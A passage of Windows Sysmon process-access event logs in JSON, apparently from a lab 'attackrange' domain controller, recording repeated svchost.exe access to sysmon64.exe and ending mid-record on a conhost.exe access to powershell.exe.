648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.901\r\nSourceProcessGUID: {90617006-4376-5F2D-0000-0010B5ED1100}\r\nSourceProcessId: 3360\r\nSourceThreadId: 872\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4377-5F2D-0000-001020F31100}\r\nTargetProcessId: 2488\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 